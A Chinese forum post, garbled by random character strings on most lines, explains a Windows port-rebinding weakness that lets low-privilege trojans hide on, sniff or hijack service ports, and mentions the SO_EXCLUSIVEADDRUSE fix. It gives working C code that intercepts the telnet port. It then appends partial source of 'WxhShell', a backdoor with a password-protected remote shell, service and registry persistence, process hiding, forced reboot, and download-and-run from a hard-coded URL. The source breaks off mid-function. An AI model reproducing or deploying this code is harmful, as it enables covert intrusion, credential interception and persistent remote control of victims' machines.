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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Bd8{25{c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9B&fEmgEc?  
cn3F3@_"\  
  saddr.sin_family = AF_INET; =*[98%b   
.{=|N8*py8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); id" -eMwp  
w,s++bV;L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +L]$M)*0&  
TV['"'D&i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6m\MYay  
QAk.~ ob  
  这意味着什么?意味着可以进行如下的攻击: wnPg).  
liuw!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yu~o9  
AeZ__X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /uNgftj  
W5f|#{&L:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T, z80m}  
5gg Yg $  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b@> MA  
zxo" +j4Ym  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )5j1;A:gr  
drM@6$k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oPbxe  
[bK5q;#U4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hi.` O+;  
fDzG5}i  
  #include ^W*T~V*8  
  #include &yabxl_  
  #include e  -yL  
  #include    e Lj1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f~rq)2V:  
  int main()  W>HGB  
  { 2C &G' @>  
  WORD wVersionRequested; AWG;G+  
  DWORD ret; O'i!}$=g  
  WSADATA wsaData; -,Oq=w*EV  
  BOOL val; U?[_ d  
  SOCKADDR_IN saddr; p_g#iH!*  
  SOCKADDR_IN scaddr; 7C::%OF~7  
  int err; G%q^8#  
  SOCKET s; BPwn!ii|  
  SOCKET sc; 6!;eJYj,  
  int caddsize; *URBx"5XZ  
  HANDLE mt; g2|qGfl{C  
  DWORD tid;   5Xr<~xr  
  wVersionRequested = MAKEWORD( 2, 2 ); ^DQp9$la  
  err = WSAStartup( wVersionRequested, &wsaData ); "dItv#<:}  
  if ( err != 0 ) { )<+t#5"  
  printf("error!WSAStartup failed!\n"); d OYEl<!J  
  return -1; ->rr4xaKC  
  } t!285J8tn  
  saddr.sin_family = AF_INET; kgZiyPcw  
   YPU*T&~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 937 z*mh  
Ht,dMt>:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hh1 ?/  
  saddr.sin_port = htons(23); F3Y/Miw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \$B%TY  
  { yd>b2 M  
  printf("error!socket failed!\n"); +! F+m V9  
  return -1; $.0l% $7  
  } Pqtk1=U  
  val = TRUE; xk/osbKn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )zK6>-KWA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) CBrC   
  { A7c*qBt  
  printf("error!setsockopt failed!\n"); <5t2+D]]}  
  return -1; kM;fxR:-  
  } pOKs VS%fT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <,:5d2mM.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NE1n9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %vZTD +i  
9()d7Y#d/`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I%Yeq"5RB  
  { WW&ag r  
  ret=GetLastError(); +k<0: Fi  
  printf("error!bind failed!\n"); QO;OeMQv%  
  return -1; #<k L.e[  
  } G< _<j}=  
  listen(s,2); Q&k1' nT5  
  while(1) -L6YLe%w  
  { N0POyd/rL  
  caddsize = sizeof(scaddr); &9ZrZ"]  
  //接受连接请求 y~'h/tjM@=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^OZ*Le  
  if(sc!=INVALID_SOCKET) E8LZ% N#  
  { 6dlV:f_\y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Gtm|aR{OS  
  if(mt==NULL) %={[e`,  
  { {n'+P3\T:  
  printf("Thread Creat Failed!\n"); .gP}/dj  
  break; ;+3XDz v  
  } 7+2DsZ^6MW  
  } KM:k<pvi  
  CloseHandle(mt); 8TH fFL  
  } XN Gw@$  
  closesocket(s); j-%@A`j;  
  WSACleanup(); RO!em~{D*  
  return 0; S@^o=B]]  
  }   Wq"5-U;:w  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y A:!ULzR*  
  { \nbGdka  
  SOCKET ss = (SOCKET)lpParam; "+sl(A3`U  
  SOCKET sc; A(84cmq!q  
  unsigned char buf[4096]; `ttqgv\  
  SOCKADDR_IN saddr;  {Yc#XP  
  long num; y8e'weK  
  DWORD val; s)BB(vQ]6  
  DWORD ret; sn.0`Stt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lq_(au.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (M;jnQ0  
  saddr.sin_family = AF_INET; Zjq(]y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SF. Is=b  
  saddr.sin_port = htons(23); vP @\"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =6Q\78b  
  { $s S;#r0  
  printf("error!socket failed!\n"); sL",Ho  
  return -1; dVKctt'C  
  } t E(_Cg  
  val = 100; sgfci{~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9h/JW_  
  { 30fqD1_{  
  ret = GetLastError(); Bid+,,  
  return -1; F[5sFk M7  
  } :v Do{My^1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dc=}c/6x  
  { x;@wtd*QB  
  ret = GetLastError(); !l|fzS8g  
  return -1; *u ^mf~  
  } y3Qb2l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3k_bhK zI  
  { e anR$I;Yj  
  printf("error!socket connect failed!\n"); I3^}$#>  
  closesocket(sc); <_ruVy0]  
  closesocket(ss); Gv\:Agi  
  return -1; ;^f ;<  
  } CBKLct>  
  while(1) );!IGcgF  
  { < .knM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AV]7l}-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ; nc3O{rU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $i9</Es P  
  num = recv(ss,buf,4096,0); es!>u{8)  
  if(num>0) ESyb34T`  
  send(sc,buf,num,0); e$l*s/"0t  
  else if(num==0) 8$~^-_>n/  
  break; &G$K. q  
  num = recv(sc,buf,4096,0); Wo2W/{  
  if(num>0) DcRvZH  
  send(ss,buf,num,0); E5QQI9ea  
  else if(num==0) ZGsI\3S  
  break; R|'ftFebB.  
  } &\m=|S  
  closesocket(ss); ,p)Qu%'  
  closesocket(sc); 12o6KVV^x  
  return 0 ; <X "_S'O  
  } 4d63+iM+}  
]9lR:V sw  
H#:Aby-d}  
========================================================== epGC Ta  
IcJQC  
下边附上一个代码,,WXhSHELL =OamN7V=  
ZE:!>VXa87  
========================================================== QruclNW{Bv  
q(\kCUy!  
#include "stdafx.h" mkuK$Mj  
N!%[.3o\K  
#include <stdio.h> l>*L Am5  
#include <string.h> ^R h`XE  
#include <windows.h> =Q~@dP  
#include <winsock2.h> SQ la]%  
#include <winsvc.h> XP^[,)E  
#include <urlmon.h> V{C{y5  
g@|2z  
#pragma comment (lib, "Ws2_32.lib") t|?eNKVV9'  
#pragma comment (lib, "urlmon.lib") V: n\skM  
d=eIsP'h  
#define MAX_USER   100 // 最大客户端连接数 FSD~Q&9&  
#define BUF_SOCK   200 // sock buffer F10TvJ U  
#define KEY_BUFF   255 // 输入 buffer [9d4 0>e  
=:*2t  
#define REBOOT     0   // 重启 _V,bvHWlM  
#define SHUTDOWN   1   // 关机 \\P*w$c   
$!7$0WbC  
#define DEF_PORT   5000 // 监听端口 C$4!|Wg3  
@ MKf$O4K  
#define REG_LEN     16   // 注册表键长度 a)QSq<2*  
#define SVC_LEN     80   // NT服务名长度 8 -YC#&  
!rTkH4!_  
// 从dll定义API ZtGtJV"H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vb,'VN%   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jK\AVjn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XsGc!  o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C;I:?4  
,FL*Z9wA  
// wxhshell配置信息 3YD.Fjz$  
struct WSCFG { 61Wh %8-  
  int ws_port;         // 监听端口 H (tT8Q5i  
  char ws_passstr[REG_LEN]; // 口令 1O2jvt7M  
  int ws_autoins;       // 安装标记, 1=yes 0=no dLbSvK<(I  
  char ws_regname[REG_LEN]; // 注册表键名 yYiu69v  
  char ws_svcname[REG_LEN]; // 服务名 V*gh"gZ<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PVaqKCj:6W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _sK{qQxvM=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $1Qcz,4B|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no in7h^6?I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,t +sw4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gX]ewbPDQ  
|ITh2m  
}; f~:wI9  
gMsB1|  
// default Wxhshell configuration Z '~Ie~  
struct WSCFG wscfg={DEF_PORT, H>F j  
    "xuhuanlingzhe", bD`h/jYv  
    1, #z =$*\u  
    "Wxhshell", ]cM,m2^2  
    "Wxhshell", r2m&z%N &  
            "WxhShell Service", u]Z;Q_=  
    "Wrsky Windows CmdShell Service", e.WKf,e"X  
    "Please Input Your Password: ", NH<~B C]I  
  1, W>(w&k]%B  
  "http://www.wrsky.com/wxhshell.exe", k [iT']  
  "Wxhshell.exe" <72q^w  
    }; (,D:6(R7t  
Xi0fX$-,  
// 消息定义模块 g(dReC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ej,R:}C%`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y)2#\ F   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hv*XuT/  
char *msg_ws_ext="\n\rExit."; r7FpR!  
char *msg_ws_end="\n\rQuit."; 3.6Gh|7  
char *msg_ws_boot="\n\rReboot..."; 1D1qOg"LE  
char *msg_ws_poff="\n\rShutdown..."; :!wl/X ~  
char *msg_ws_down="\n\rSave to "; *tfD^nctO  
vZ1?4hG  
char *msg_ws_err="\n\rErr!"; (0["|h32,  
char *msg_ws_ok="\n\rOK!"; JnLF61   
p8j*m~4B  
char ExeFile[MAX_PATH]; ?5;N=\GQ  
int nUser = 0; RZ|M;c  
HANDLE handles[MAX_USER]; C!U$<_I\2  
int OsIsNt; > D%  
! ~tf0aY  
SERVICE_STATUS       serviceStatus; a U*}.{<!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }/QtIY#I  
Vwb_$Yi+]  
// 函数声明 TE6]4E*  
int Install(void); g3f; JB   
int Uninstall(void); QUDpAW  
int DownloadFile(char *sURL, SOCKET wsh); NAOCQDk{  
int Boot(int flag); 7^C&2k 5G  
void HideProc(void); iN_P25Z<r  
int GetOsVer(void); /[!<rhY  
int Wxhshell(SOCKET wsl); g(i8HU*{q  
void TalkWithClient(void *cs); $LVzhQlD  
int CmdShell(SOCKET sock); [eFJ+|U9  
int StartFromService(void); T+oOlug  
int StartWxhshell(LPSTR lpCmdLine); B!U;a=ia  
5A+@xhRf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *T~b ox  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1024L;  
e*Y<m\*  
// 数据结构和表定义 ^!z(IE'  
SERVICE_TABLE_ENTRY DispatchTable[] = MT6"b  
{ -Jt36|O  
{wscfg.ws_svcname, NTServiceMain}, Z!3R  
{NULL, NULL} 8nwps(3  
}; r7FJqd  
wVs"+4l<  
// 自我安装 ^^F 8M0k3  
int Install(void) 0rvBjlFT  
{ F` &W5[  
  char svExeFile[MAX_PATH]; GK;IY=8W  
  HKEY key; }R/we`  
  strcpy(svExeFile,ExeFile); p`EgMzVO,  
xQl}~G]!  
// 如果是win9x系统,修改注册表设为自启动 &G?"I%Vw  
if(!OsIsNt) { n6G&c4g<"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2@IL  n+#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CY.4>,  
  RegCloseKey(key); 1Vc~Sa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _mJhY0Oc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6s'n r7'0  
  RegCloseKey(key); YRMe<upo  
  return 0; jib pZ)  
    } &xZSM,  
  } )+ 'r-AF*  
} 7 IJn9b  
else { +d7 Arg!m  
aKE`nA0\B  
// 如果是NT以上系统,安装为系统服务 /pV N1Yt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3D^cPkX  
if (schSCManager!=0) qHT73_R  
{ }=Xlac_U  
  SC_HANDLE schService = CreateService gAVD-]`  
  ( !c dY`f6x  
  schSCManager, K-@\";whF  
  wscfg.ws_svcname, "$D'gS oYe  
  wscfg.ws_svcdisp, 'Lw8l `7  
  SERVICE_ALL_ACCESS, mn\A)R Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c,O;B_}M]  
  SERVICE_AUTO_START, 9tb-;|  
  SERVICE_ERROR_NORMAL, *Mb'y d/|  
  svExeFile, 'oH3|  
  NULL, eoXbZ  
  NULL, Bl^ BtE?-b  
  NULL, >; tE.CJH  
  NULL, yPY{ZADkQ  
  NULL g*`xEb= '  
  ); Q*M(d\Vs  
  if (schService!=0) f:y1eLl3  
  { M2c7 |  
  CloseServiceHandle(schService); .;qh>Gt  
  CloseServiceHandle(schSCManager); R$66F>Jz^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xR8.1T?8  
  strcat(svExeFile,wscfg.ws_svcname); c{ +bY .J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y0ObcP.MA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @WJ\W`P  
  RegCloseKey(key); M< .1U?_#  
  return 0; ~mwIr  
    } QPh3(K1w^  
  } UvM4-M%2JN  
  CloseServiceHandle(schSCManager); \WbQS#Z9  
} DycXJ3eQ  
} HVhP |+  
?>iUz.];t  
return 1; /h{Rf,H  
} wOCAGEg  
gFrNk Uqp  
// 自我卸载 z+{+Q9j  
int Uninstall(void) }/h&`0z `  
{ t72rCq QC  
  HKEY key; KU*aJl_n,  
4=EA3`l  
if(!OsIsNt) { 2Q\\l @b\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MJrPI a[pN  
  RegDeleteValue(key,wscfg.ws_regname); 3Pgokj   
  RegCloseKey(key); #HW<@E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vU5}E\Ny  
  RegDeleteValue(key,wscfg.ws_regname); ( Cg vI*O  
  RegCloseKey(key); bar=^V)  
  return 0; Y/"t!   
  } F3]VSI6^E,  
} + d3  
} :>r W`= e'  
else { -%gEND-AP  
eG8 l^[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LkP :l  
if (schSCManager!=0) HyOrAv <  
{ UqyW8TCf?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q mv0LU  
  if (schService!=0) $COjC!M  
  { \v5;t9uBZ  
  if(DeleteService(schService)!=0) { c#"t.j<E}  
  CloseServiceHandle(schService); Bf]Bi~w<  
  CloseServiceHandle(schSCManager); 9jX_Eoxy  
  return 0; >KvK'Mus/  
  } ^Y+Lf]zz*  
  CloseServiceHandle(schService); GN9kCyPK  
  } a@ <-L  
  CloseServiceHandle(schSCManager); %+Y wzL{  
} ?@;)2B|q  
} s,8zj<dUv  
tl\<:8pI"  
return 1; { V[}#Mf  
} J|DZi2o  
-W<1BJE  
// 从指定url下载文件 Gyy4zK  
int DownloadFile(char *sURL, SOCKET wsh) j*Pq<[~  
{ xE]y*\  
  HRESULT hr; t89Tt@cf  
char seps[]= "/"; .-/IV^lGv  
char *token; .|5$yGEF_+  
char *file; QkW'tU\^  
char myURL[MAX_PATH]; vNrn]v=|}7  
char myFILE[MAX_PATH]; Z b$]9(RS  
Qubu;[0+a  
strcpy(myURL,sURL); 6]d]0TW_  
  token=strtok(myURL,seps); qP<D9k>  
  while(token!=NULL) X<Z(,B  
  { 3X11Gl  
    file=token; >5:O%zQ@  
  token=strtok(NULL,seps); |:JT+a1  
  } Xa.8-a"hz  
ZV+tHgzlv5  
GetCurrentDirectory(MAX_PATH,myFILE); :v;U7  
strcat(myFILE, "\\"); ~IjID  
strcat(myFILE, file); )7NI5x^$  
  send(wsh,myFILE,strlen(myFILE),0); $--+M D29Q  
send(wsh,"...",3,0); 5B4/2q=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h]k $K  
  if(hr==S_OK) h_S>Q  
return 0; L YF|  
else P/|1,S k  
return 1; c$71~|-[  
K)~aH  
} gCC7L(1  
t(-,mw  
// 系统电源模块 zU+q03l8Ur  
int Boot(int flag) 0 }od Q#  
{ QAp]cE1ew  
  HANDLE hToken; 0]iaNR %  
  TOKEN_PRIVILEGES tkp; #Gg^QJ*  
,NS*`F[O  
  if(OsIsNt) { O^row1D_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lV %1I@[M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _W_< bI34  
    tkp.PrivilegeCount = 1; SeDk/}/~e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;%^=V#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ->{-yh]jv  
if(flag==REBOOT) { J;8 d-R5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nWY^?e'S  
  return 0; 7g(Z @  
} (BeJ,K7  
else { 6`@J=Q?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #o4tG  
  return 0; -dBWpT  
} ]kTxVe  
  } 3dj|jw5  
  else { v /c]=/  
if(flag==REBOOT) { 3U+FXK#6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U].]K   
  return 0; ~Ss,he]Er  
} ][v]Nk  
else { % J^x `P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -LszaMR}  
  return 0; \"nut7";2  
} o?hr>b  
} p ZTrh&I]  
>a<1J(c  
return 1; +|,4g_(j  
} XgHJ Oqt  
0O>ClE~P  
// win9x进程隐藏模块 /0XMQy  
void HideProc(void) Tgr,1) T  
{ uoI7' :Nv  
+lqGf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pOo016afmA  
  if ( hKernel != NULL ) q -8G  
  { *??lwvJp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); * /n8T]s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _<F)G,=  
    FreeLibrary(hKernel); 4A!]kj 5T  
  } jTcv&`fAz  
ZDW=>}~_y  
return; p|ink):  
} Pa{  
f(Of+>   
// 获取操作系统版本 h7UNmwj  
int GetOsVer(void) ~EPVu  
{ x~!|F5JbM  
  OSVERSIONINFO winfo; % ERcFI]G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;: 2U}p^-  
  GetVersionEx(&winfo); kY~4AH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j/*1zu8Y  
  return 1; R; c9)>8L  
  else kygw}|, N  
  return 0; g=56|G7n  
} i#`q<+/q  
LD}~]  
// 客户端句柄模块 -9i7Ja  
int Wxhshell(SOCKET wsl) sE6>JaH  
{ *c94'Tcl  
  SOCKET wsh; ujX; wGje  
  struct sockaddr_in client; V^5d5Ao  
  DWORD myID; Km8aHc]O~  
D![v{0er  
  while(nUser<MAX_USER) vyIH<@@p7  
{ 7PX`kI  
  int nSize=sizeof(client); WYUDD_m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6`e7|ilh6  
  if(wsh==INVALID_SOCKET) return 1; MVsFi]-  
0<-E)\:[g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WK>|IgK  
if(handles[nUser]==0) ^Fco'nlM  
  closesocket(wsh); 0- )K_JV  
else E=p+z"Ui  
  nUser++; Y"GNJtsL"  
  } n|~y >w4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :-46"bP.  
`x`[hJ?i  
  return 0; $s/E } X  
} P9 <U+\z  
&3[oM)-V  
// 关闭 socket 5*pzL0,Y  
void CloseIt(SOCKET wsh) AAevN3a#nI  
{ vt|R)[,  
closesocket(wsh); >CqzC8JF  
nUser--; pa[/6(  
ExitThread(0); ~P1~:AT  
} P2-&Im`+  
E+]9!fDy<  
// 客户端请求句柄 E^axLp>(I  
void TalkWithClient(void *cs) 8Y?M:^f~  
{ ?BnU0R_r]  
(j&:  
  SOCKET wsh=(SOCKET)cs; \!-BR0+y;  
  char pwd[SVC_LEN]; N]A# ecm  
  char cmd[KEY_BUFF]; (jM0YtrD  
char chr[1]; [>O!~  
int i,j; CJ :V%|  
!qt2,V  
  while (nUser < MAX_USER) { Pb#M7=J/  
g"!(@]L!@  
if(wscfg.ws_passstr) {  8b2 =n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }X&rJV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <-umeY"n>  
  //ZeroMemory(pwd,KEY_BUFF); Wh)D_  
      i=0; d#g))f;  
  while(i<SVC_LEN) { w7V\_^&Id  
7Q}pKq]P  
  // 设置超时 M3pE$KT0x  
  fd_set FdRead; u5(8k_7  
  struct timeval TimeOut; <xOX+D  
  FD_ZERO(&FdRead); -zR<m  
  FD_SET(wsh,&FdRead); +WH\,E  
  TimeOut.tv_sec=8; &]nx^C8V;  
  TimeOut.tv_usec=0; _v,0"_"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hJb2y`,q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z%82Vt!a5  
7z b^Z]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b dgkA  
  pwd=chr[0]; H@Z_P p?  
  if(chr[0]==0xd || chr[0]==0xa) { zR"c j  
  pwd=0; D@O `"2  
  break; 4ba*Nc*Yc  
  } Z[oF4 z   
  i++; -K64J5|b7  
    } 2B ]q1>a!  
oJ74Mra  
  // 如果是非法用户,关闭 socket z0[XI7KK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O *sU|jeO  
} EhcJE;S)  
`\kihNkJn3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a5 D|#9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G,u=ngZ]  
%71i&T F  
while(1) {  \i%'M%  
HN7CcE+l  
  ZeroMemory(cmd,KEY_BUFF); +[7~:e}DZ  
:GXF=Df  
      // 自动支持客户端 telnet标准   D|:'|7l W  
  j=0; u"[f\l  
  while(j<KEY_BUFF) { (%my:\>l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i9;  
  cmd[j]=chr[0]; x[(6V'  
  if(chr[0]==0xa || chr[0]==0xd) { ?b (iWq  
  cmd[j]=0; PsC")JS  
  break; p}1i[//S  
  } p['RV  
  j++; ^4dE8Ve"@  
    } xE/?ncTK^  
aZOn01v;!&  
  // 下载文件 Pq;OShU_  
  if(strstr(cmd,"http://")) { SH%NYjj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y{YbKKM  
  if(DownloadFile(cmd,wsh)) 2HE@!*z9H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H+v&4}f  
  else &."$kfA+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sh<Q2X  
  } IPQRdBQ  
  else { a>wCBkD  
Ep7MU&O0iK  
    switch(cmd[0]) { 6d-\+ t8  
  4&iQo'  
  // 帮助 m2(>KMbi  
  case '?': { S,#1^S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OW7  
    break;  YKyno?m  
  } ;J%:DD  
  // 安装 s|=lKa]d!"  
  case 'i': { Q Be6\oq  
    if(Install()) 380`>"D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @) Qgy}*5  
    else I'/3_AX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K d&/9<{>  
    break; d)o5JD/  
    } kwI``7g8*e  
  // 卸载  F B]Y~;(  
  case 'r': { Y|>dS8f;4  
    if(Uninstall()) VoU8I ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U0x A~5B  
    else -ss= c#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); US g"wJY  
    break; ]PXM;w  
    } GEBSUvM7  
  // 显示 wxhshell 所在路径 UcRP/LR%C  
  case 'p': { A_xC@$1e<  
    char svExeFile[MAX_PATH]; g`XngRb|j  
    strcpy(svExeFile,"\n\r"); {{G)Ry*pb  
      strcat(svExeFile,ExeFile); +7_qg i7:  
        send(wsh,svExeFile,strlen(svExeFile),0); %yRXOt2(  
    break; T &ZQ ie/  
    } &7L7|{18  
  // 重启 XiUq#84Q  
  case 'b': { afm\Iv[*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h4Crq Yxa_  
    if(Boot(REBOOT)) V6]6KP#D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jw)JV~/0  
    else { 'Y 38VOI%  
    closesocket(wsh); nm^HL|  
    ExitThread(0); ?CpVA  
    } S 'a- E![  
    break; M0V<Ay\%O  
    } 8mI(0m'  
  // 关机 N /4E ~^2  
  case 'd': { _imuyt".+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5'2kP{;  
    if(Boot(SHUTDOWN)) `4Yo-@iVP  
